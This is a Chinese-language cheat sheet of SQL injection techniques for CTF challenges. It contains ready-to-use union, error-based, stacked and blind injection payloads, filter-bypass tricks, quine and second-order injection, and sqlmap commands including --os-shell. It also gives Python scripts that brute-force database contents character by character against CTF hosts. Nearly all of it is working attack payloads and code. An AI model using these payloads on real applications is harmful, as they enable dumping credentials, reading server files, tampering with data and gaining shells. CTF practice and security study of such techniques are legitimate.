SQL 结构

整个结构分为数据库(database),表(table),列(column)和数据。
具体关系如图

  • 数据库(database) information_schema.schemata table_schema
    • 表(table) information_schema.schemata.tables table_name
      • 列(column) information_schema.columns column_name
        • 数据

SQL 查询用法

查询语句通常为 select a from b where c
查库名 select schema_name from information_schema.schemata
查表名 select group_concat(table_name) from information_schema.tables where table_schema=database()
查列名 select group_concat(column_name) from information_schema.columns where table_name='ctf'
查数据 select group_concat(secret,user) from ctf

SQLMAP 用法

下载:https://github.com/sqlmapproject/sqlmap
中文手册:https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Usage/Injection.html
曾经直接注时被 Cookies 卡了半天。我更推荐把 http 文件保存下来用 sqlmap。

--batch 自动处理请求
直接 GET 注: python sqlmap.py -u "url?id=1" --batch
- 使用-r 参数
用 burp 保存为 1.txt 放到同目录。
python sqlmap.py -r 1.txt -p username --batch
- 库名 python sqlmap.py -r 1.txt -p username --batch --dbs
    - 当前库名 python sqlmap.py -r 1.txt -p username --batch --current-db
- 表名 python sqlmap.py -r 1.txt -p username --batch -D mysql --tables
- 列名数据一起 python sqlmap.py -r 1.txt -p username --batch -D mysql -T ctf --columns --dump
- 选择注入方法 –-technique
- 默认为所有
    - 注入类型对应的参数
    B:基于布尔的盲注
    E:基于错误
    U:基于联合查询
    S:堆叠查询
    T:基于时间的盲注
    Q:内联查询
    python sqlmap.py -r 1.txt -p username –-technique BE --batch
- SQLMAP 写 shell
python sqlmap.py -r 1.txt -p username --batch --os-shell
找不到 flag 时可以试试
- 自定义注入 payload
    - 选项:--prefix 和 --suffix
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php/?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php/?id=1" -p id --prefix "\")" --suffix "AND ('abc'='abc"
注入字符有双引号必加\注释
- 显示具体payload -v 3 或 -vv (等级默认为1,顺序为0~6,不加等级为2)

联合查询

  • 适合有回显的情况

判断注入类型

数字类(如 id)

$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];

直接在数字后注入,不需要空格

字符类

SELECT * FROM users WHERE username='$username' AND password='$password';

需要引号闭合。看题目,如果没给源码一般是单个’或"闭合,如果给了源码要判断所有的闭合,记得括号也要闭合完全

手动注

sql 结尾要使用注释符号,常见的有:

--+(这里的+是 url 编码过的空格),
--%20(get 传参网站自动省略最后的空格),
#,%23(经过 url 编码)。

还可以构造如 or ‘1’=‘1 来闭合后面的引号,类似的还有末尾加’,where/**/'1,(做多了题感觉注释真的很看脸,注释不成功就注不下去了)

1' or true# (万能密码)(在这里解决闭合和注释)
1' order by 3# 一直累加数字直到报错(或界面与之前不同):
1' order by 4#
  Unknown column '4' in 'order clause

这时说明一共 3 位,要联合查询 3 位。

a'union select 1,2,3#

回显的数字说明哪里是回显位。例子中回显的是 2

a'union select 1,database(),3#

库名 mysql

a'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

表名 ctf
有种类似写法是把 select 写到里面:

a'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#。

个人不推荐,很影响美观

a'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctf'#
列名 secret
a'union select 1,group_concat(secret),3 from ctf#

得到 flag,这里 from 后面可以不需要引号
如果限制字符长度可能读不全,需要使用函数截取长度

常见的如 substring,substr,mid,right,left(读不出来记得换,小心过滤)
a'union select 1,substring(group_concat(secret),0,30),3 from ctf#
a'union select 1,substring(group_concat(secret),25,30),3 from ctf#

记得合并时去除重叠字符
一次读多个数据这样写

a'union select 1,group_concat(id,'~',username,'~',password),3 from user#

报错注入

extractvalue

1'||extractvalue(1,concat('~',database()))#
1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))#
1'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('security'))))#
1'||extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users'))))#
1'||extractvalue(1,concat('~',(select(data)from(output))))#
1'||extractvalue(1,concat('~',(select(mid(data,25,30))from(output))))#

updatexml

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('data1')),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(data1)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(user)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(substring(group_concat(link),25,30))from(user)),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(right(group_concat(link),25))from(user)),0x7e),1))#
//substring,substr,mid,right,left,reverse

堆叠注入

在 SQL 终端 中,分号(;)是用来表示一条 sql 语句的结束。在 ; 结束一个 sql 语句后继续构造下一条语句,语句会一起执行。

1';show databases;#得表名supersqli
1';use supersqli;show tables;#
1';desc words;#
1';use supersqli;show columns from `words`;#
1';use supersqli;show columns from `1919810931114514`;#
1';select * from words;#
如果过滤了select:
①
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
1'or 1=1#
②
1';use supersqli;SET @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE sql1 from @sql;EXECUTE sql1;#
③
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#


1';create table less38 like users;#
1';drop table less38;#
insert插入数据库
1';insert into ctf values("111","aaa","bbb");--%20

*,1
1;set sql_mode=pipes_as_concat;select 1

布尔,时间盲注

利用脚本 二分查找所有可见字符
bool 参考.py

import requests
import time

flag = ""

# bool
payload1 = "1'or ascii(substr((select database()),{},1))>{}#"
payload2 = "1'or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{}#"
payload3 = "1'or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{},1))>{}#"
payload4 = "1'or ascii(substr((select(group_concat(username,'~',password))from(users)),{},1))>{}#"
for i in range(1, 100):
low = 28
high = 137
mid = (low + high) // 2
while low < high:
url = "http://node5.anna.nssctf.cn:21028/Less-15/"
payload = payload4.format(i, mid)
# print(payload)
data = {"uname": payload, "passwd": "1"}
r = requests.post(url=url, data=data).text
# time.sleep(0.5)
if "flag.jpg" in r:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
# print(low)
if low == 28:
break
else:
flag += chr(low)
print(flag)

time 参考.py

import requests
import time

flag = ""

# time
payload1 = "1'or if(ascii(substr((select database()),{},1))>{},sleep(1),0)#"
payload2 = "1'or if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{},sleep(1),0)#"
payload3 = "1'or if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{},1))>{},sleep(1),0)#"
payload4 = "1'or if(ascii(substr((select(group_concat(username,'~',password))from(users)),{},1))>{},sleep(1),0)#"

for i in range(1, 100):
low = 28
high = 137
mid = (low + high) // 2
while low < high:
url = "http://node5.anna.nssctf.cn:21028/Less-15/"
payload = payload1.format(i, mid)
data = {"uname": payload, "passwd": "1"}

# 记录开始时间
start_time = time.time()
r = requests.post(url=url, data=data)
response_time = time.time() - start_time

if response_time >= 0.8: # 判断是否延时
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if low == 28:
break
else:
flag += chr(low)
print(flag)

  • waf 不强可以用 SQLMAP 省时间

过滤绕过

大小写,双写

字面意思,有些过滤不严的只过滤全小写,sql 对大小写不敏感,构造 Select 就能绕过,双写如过滤 or 在中间再写一遍,oorr 就绕过了
判断通过报错中没有对应关键字逐一尝试就行(应该不会有出题人不给源码和报错又加双写吧)

16 进制转换

可以把引号内的字符串转为 0x 开头的 16 进制数来绕过
‘flag’->0x666c6167

<?php
$a='flag';
echo '0x'.bin2hex($a);
?>

常用替换

空格->/\*\*/,括号绕过,%a0,%09
and->&&
or->||
=->like,regexp
database()->schema()
table_schema->database_name

注释符

--空格
--+
#
%23
^1
末尾加'
or '1'='1
and '1'='1
where/**/'1

大于小于号绕过

在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。
绕过可以使用下列函数:

greatest(n1, n2, n3…):返回 n 中的最大值
least(n1,n2,n3…):返回 n 中的最小值
select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;

strcmp(str1,str2):
  若所有的字符串均相同,则返回 STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
  select * from cms_users where userid=1 and strcmp(ascii(substr(database(),0,1)),99);

in + 关键字
  select * from cms_users where userid=1 and substr(database(),1,1) in ('c');

between a and b:范围在 a-b 之间(不包含 b)
  select * from cms_users where userid=1 and substr(database(),1,1) between 'a' and 'd';

concat 被过滤

information_schema 被过滤

更换下面这些库以爆出表名:

sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
mysql.innodb_table_stats
mysql.innodb_index_stats

之后会面临两个情况:

  1. 只有一个表,直接使用 select * from table_name 爆出 columns。
  2. 不止一个表,这时使用无列名注入

无列名注入

适用 information_schema 被过滤。
原理为将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询

1'union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/'1

1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

当`反引号也被过滤时,使用 as 别名替换绕过

1'union/**/select/**/1,2,group_concat(a)/**/from/**/(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

时间盲注 (flag 里有空格会出错)

import requests
import time
from urllib.parse import quote, unquote

url = "http://127.0.0.1:4000/?id="
flag = ""
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!&'()*+,-./:;<=>?@[\]^`{|}~#"
timeout_threshold = 2 # 设置延时阈值,秒数
# 1'%26%26(true)%26%26/**/'1'='1
payload0 = "1'&&if(substr((select version()),{},1)=binary '{}',benchmark(1000000,sha1(1)),0)&&/**/'1'='1" # 5.7.31
payload1 = "1'&&if(substr((select group_concat(database())),{},1)=binary '{}',benchmark(1000000,sha1(1)),0)&&/**/'1'='1" # web2
payload2 = "1'&&if(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1)=binary '{}',benchmark(1000000,sha1(1)),0)&&/**/'1'='1" # atable,users,flag
# sys.schema_auto_increment_columns
# sys.schema_table_statistics_with_buffer
# sys.x$schema_table_statistics_with_buffer
# sys.x$schema_table_statistics
# sys.x$ps_schema_table_statistics_io
# mysql.innodb_table_stats
# mysql.innodb_index_stats
payload3 = "1'&&if(substr((select * from flag),{},1)=binary '{}',benchmark(1000000,sha1(1)),0)&&/**/'1'='1" #
for i in range(1, 100): # 从1开始
found = False
for j in chars:
payload = payload3.format(i, j).replace(" ", "\x09")
full_url = url + quote(payload)
print(full_url)
# 记录请求开始时间
start_time = time.time()

try:
r = requests.get(url=full_url)
except requests.RequestException as e:
print(f"请求失败: {e}")
continue

# 检查是否触发防御
if "nono" in r.text:
print(
"请求被阻止请求被阻止请求被阻止请求被阻止请求被阻止请求被阻止请求被阻止"
)
print(f"最终 flag: {flag}")

# 计算响应时间
response_time = time.time() - start_time
print(f"正在测试字符: {j}, 响应时间: {response_time:.2f} 秒")

# 检查是否达到延时阈值
if response_time >= timeout_threshold:
flag += j
print(f"找到字符: {j}, 当前 flag: {flag}")
found = True
break

if not found:
print("没有更多字符,退出。")
break

print(f"最终 flag: {flag}")

数字型 sql 盲注的另一种做法:

1^1^1 返回正常数据
1^0^1 返回值不一样
使用库名更换爆出表名
1^(select(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{},1))>{}))^1
爆出flag在f1ag_1s_h3r3_hhhhh中
测试字段数
1^(select((select 1,1)>(select * from f1ag_1s_h3r3_hhhhh)))^1 返回正常数据
1^(select((select 1,1,1)>(select * from f1ag_1s_h3r3_hhhhh)))^1 返回值不一样
无列名注入拿到flag
1^(select((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)))^1

过滤了小括号()

运气做出来过一题,记录一下
concat()转为 limit,然而 limit 也被屏蔽后。。

eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Schemata+Where+Schema_name+like+binary+'A%'%23
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Tables+Where+Table_Schema+like+binary+'A%'%23
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Tables+Where+Table_Schema+like+'ctf'+and+Table_name+like+binary+'A%'%23
eid002'+Union+Select+1,2,2*1e308,4,5+From+Information_Schema.Columns+Where+Table_Schema+like+'ctf'+and+Table_name+like+'f1444444g'+and+Column_name+like+binary+'A%'%23
eid002'+Union+Select+1,2,fl4g,4,5+From+f1444444g%23

靠执行成功时数字溢出进行布尔盲注。

SQL 杂项

  • ffifdyop md5($password,‘true’)->ffifdyop

  • 可尝试 load_file()直接读入

    1'union select 1,2,3,4,load_file('/flag')
    
  • SQL 登录题

    username=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
    username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
    
  • quine 注入
    过滤了 char,用 chr 或者 0x 代替

    .
    1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
    B
    1'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#
    %
    1'/**/union/**/select/**/REPLACE(replace('"/**/union/**/select/**/REPLACE(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/REPLACE(replace("%",0x22,0x27),0x25,"%")#')#
    
    • char()转为 0x 脚本
import re

str_input = """1'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#"""


def char_to_hex(match):
num = int(match.group(1))
return f"0x{num:x}"

result = re.sub(r"char\((\d+)\)", char_to_hex, str_input)
print(result)

  • UPDATE 注入
    1. 注册时将用户名设为如 admin’-- ,admin’#,通过修改密码处的 UPDATE 函数修改原本密码。
    2. 修改商品价格 1’;UPDATE items SET price=1;#
  • 二次注入
    对用户名联合注入
    注意冒号前不能设置为能查询到的值,不然没法回显